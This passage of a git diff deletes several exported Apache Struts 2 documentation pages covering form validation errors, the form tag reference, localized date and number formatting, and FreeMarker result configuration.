-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result name="input"&gt;/register.jsp&lt;/result&gt;
-</pre>
-</div></div><p>The above result node goes just after the success result node for the register action and before the closing of the action node.</p><h3 id="FormValidation-ErrorMessages">Error Messages</h3><p>So when validation fails and Struts 2 returns input, the Struts 2 framework will redisplay the register.jsp. Since we used Struts 2 form tags, automatically Struts 2 will add the error messages. These error messages are the ones we specified in the addFieldError method call. The addFi [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">addFieldError( "personBean.firstName", "First name is required.")
-</pre>
-</div></div><p>will cause the message "First name is required" to be displayed above the firstName field on the form.</p><p>If you have made the above changes to the <a shape="rect" href="processing-forms.html">Processing Forms</a> tutorial or you have downloaded from <a shape="rect" class="external-link" href="http://code.google.com/p/struts2-examples/downloads/list" rel="nofollow">Google Code</a> either the Form_Validation_Struts2_Ant or Form_Validation_Struts2_Mvn projects run the app [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/form.html b/content/docs/form.html
deleted file mode 100644
index 2b686f1..0000000
--- a/content/docs/form.html
+++ /dev/null
@@ -1,198 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>form</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="form.html">form</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">form</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14201">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14201">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14201">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14201">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14201">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14201">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="form-Description">Description</h2>
-
-<p></p><p>
-Renders HTML an input form.
-</p>
-
-<p></p><p>
-The remote form allows the form to be submitted without the page being refreshed. The results from the form
-can be inserted into any HTML element on the page.
-</p>
-<p>
-NOTE:<br clear="none">
-The order / logic in determining the posting url of the generated HTML form is as follows:
-</p>
-
-<p></p><ol><li>
-If the action attribute is not specified, then the current request will be used to
-determine the posting url
-</li><li>
-If the action is given, Struts will try to obtain an ActionConfig. This will be
-successful if the action attribute is a valid action alias defined struts.xml.
-</li><li>
-If the action is given and is not an action alias defined in struts.xml, Struts
-will used the action attribute as if it is the posting url, separting the namespace
-from it and using UrlHelper to generate the final url.
-</li></ol>
-
-
-<h2 id="form-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="form-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:form ... /&gt;
-
-]]></script>
-</div></div>
-
-<h2 id="form-Validation">Validation</h2>
-
-<p>There are two flavours <a shape="rect" href="client-side-validation.html">Client Side Validation</a>, depending on the theme you are using (xhtml, ajax, etc). If you are using the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> or <a shape="rect" href="cssxhtml-theme.html">css_xhtml theme</a>, pure client side validation will be used. If you are using the <a shape="rect" href="ajax-theme.html">ajax theme</a>, a special AJAX-based validation will take place. Read the <a shape=" [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/formatting-dates-and-numbers.html b/content/docs/formatting-dates-and-numbers.html
deleted file mode 100644
index 77eafa8..0000000
--- a/content/docs/formatting-dates-and-numbers.html
+++ /dev/null
@@ -1,222 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Formatting Dates and Numbers</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="formatting-dates-and-numbers.html">Formatting Dates and Numbers</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Formatting Dates and Numbers</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=75443">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=75443">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=75443">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=75443">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=75443">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=75443">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="FormattingDatesandNumbers-DefiningFormats">Defining Formats</h2>
-<p>Struts2 supports localization (l10n) aware formatting of dates, times and numbers very easily, utilizing Java's built-in date formatting features.</p>
-
-<p>As seen in the <a shape="rect" href="localization.html">Localization</a> chapter, it is quite easy to define hierarchical resource bundles with Struts2, giving the developer the opportunity to define locale dependent message formats. This is the entry point to define the needed date, time and number formats. Your default properties could contain the following generic formats:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-format.time = {0,time}
-format.number = {0,number,#0.0##}
-format.percent = {0,number,##0.00'%'}
-format.money = {0,number,\u00A4##0.00}
-</pre>
-</div></div>
-<p>An appropriate en_US format definition extension could look like this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-format.date = {0,date,MM/dd/yy}
-</pre>
-</div></div>
-<p>In parallel, you could add the following to your de_DE bundle:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-format.date = {0,date,dd.MM.yyyy}
-</pre>
-</div></div>
-<p>Read more on how to define message formats in Sun's Java API docs for <a shape="rect" class="external-link" href="http://java.sun.com/j2se/1.5.0/docs/api/java/text/MessageFormat.html" rel="nofollow">MessageFormat</a>.</p>
-
-<p>Now that we have our formats set up, it is quite easy to use them in our views.</p>
-
-<h2 id="FormattingDatesandNumbers-Formattingoutputusingthes:texttag">Formatting output using the s:text tag</h2>
-
-<p>Given you had a Float value myMoneyValue, accessible through the getter getMyMoneyValue in your action, the following code would print out localized representation of the value as a currency amount, using the format.money message format defined above with a <a shape="rect" href="text.html">s:text</a> tag:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:text name="format.money"&gt;
-    &lt;s:param name="value" value="myMoneyValue"/&gt;
-&lt;/s:text&gt;
-</pre>
-</div></div>
-<p>The (first) parameter defines the value which is to replace the '0' placeholder in the defined message format.<br clear="none">
-Another example, formatting a date value:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:text name="format.date"&gt;&lt;s:param value="dueDate"/&gt;&lt;/s:text&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>While the s:text tag is very useful to format numbers, date formatting has become a lot easier thanks to the <a shape="rect" href="date.html">s:date</a> tag.</p></div></div>
-
-<h2 id="FormattingDatesandNumbers-LocalizingformdatawithgetText">Localizing form data with getText</h2>
-<p>Placing a textfield in a form like this</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield key="orderItem.price" /&gt;
-</pre>
-</div></div>
-<p>to input a number, one might have noticed that the number is always shown in the Java default number format. Not only that this is not "nice", if you are in a non-en locale, it will also cause trouble when submitting the form since type conversion is locale aware. The solution is to again use the message formats as defined above, by using the getText Method of ActionSupport:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield key="orderItem.price" value="%{getText('format.number',{orderItem.price})}" /&gt;
-</pre>
-</div></div>
-<p>This maps to the method signature getText( String key, Object[] params ) in ActionSupport.</p>
-
-<h2 id="FormattingDatesandNumbers-UsinggetFormatted()withconversionsupport">Using getFormatted() with conversion support</h2>
-<p>A new method getFormatted was added to ActionSupport (which can be implemented in your base action) to support formatting and conversion errors with I10N.<br clear="none">
-You can place a code like below</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield key="user.born" value="%{getFormatted('format.number','user.born')}" /&gt;
-</pre>
-</div></div>
-<p>to get support for I10N and also to support conversion errors.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/freemarker-result.html b/content/docs/freemarker-result.html
deleted file mode 100644
index c5283f9..0000000
--- a/content/docs/freemarker-result.html
+++ /dev/null
@@ -1,150 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>FreeMarker Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="freemarker-result.html">FreeMarker Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">FreeMarker Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14100">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14100">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14100">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14100">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14100">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14100">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Renders a view using the Freemarker template engine. The <code>FreemarkarManager</code>&#160;class configures the template loaders so that the template location can be either</p><ul style="list-style-type: square;"><li>relative to the web root folder, e.g.:&#160;<code>/WEB-INF/views/home.ftl</code></li><li>a classpath resource, e.g.: <code>/com/company/web/views/home.ftl</code></li></ul><p>&#160;</p><p>Also see <a shape="rect" href="freemarker-s [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/freemarker-support.html b/content/docs/freemarker-support.html
deleted file mode 100644
index 2bc377d..0000000
--- a/content/docs/freemarker-support.html
+++ /dev/null
@@ -1,190 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Freemarker Support</title>
-</head>
-<body onload="init()">
